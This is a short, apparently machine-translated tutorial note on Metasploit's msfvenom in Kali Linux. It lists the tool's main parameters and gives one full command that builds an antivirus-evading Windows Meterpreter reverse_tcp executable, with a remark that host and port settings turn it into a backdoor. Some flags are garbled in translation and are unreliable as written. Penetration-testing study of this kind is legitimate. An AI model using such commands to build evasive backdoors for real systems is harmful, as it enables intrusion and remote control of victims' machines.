Msfvenom learning
There are still many teaching videos and materials that use the previous kali version. With the update, some commands are not adapted to the latest kali. (also a person who has fallen into a trap.)
Msfvenom integrates msfpayload and msfencode, and removes the latter two after 2015. It is not possible to follow some tutorials and then lose two commands.
Msfvenom important parameters: (you can use msfvenom-h to view all parameters)
-p payload settin
-e Encoding Settings
-a system structure, default x86
-s payload maximum size
-I number of coding
-f generate file format
Several other commands:
Platform View: msfvenom-help-platforms
Specify the target platform:-- platform xxx
Format view: msfvenom-- help-formats
Check the payload settings: msfvenom-p-payload-options (you can find a lot of details such as the platform that the payload is suitable for)
Note: if you want to create a load of x64, use-a x64
Correctly generate kill-free files:
Msfvenom-p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai-I 10-f exe > 1.exe
If you need to generate a backdoor file, you need to add lhost (local host ip) and lport (local host open port) parameters.
Reference article: https://www.hackers-arise.com/single-post/2017/07/31/Metasploit-Basics-Part-9-Using-msfvenom-to-Create-Custom-Payloads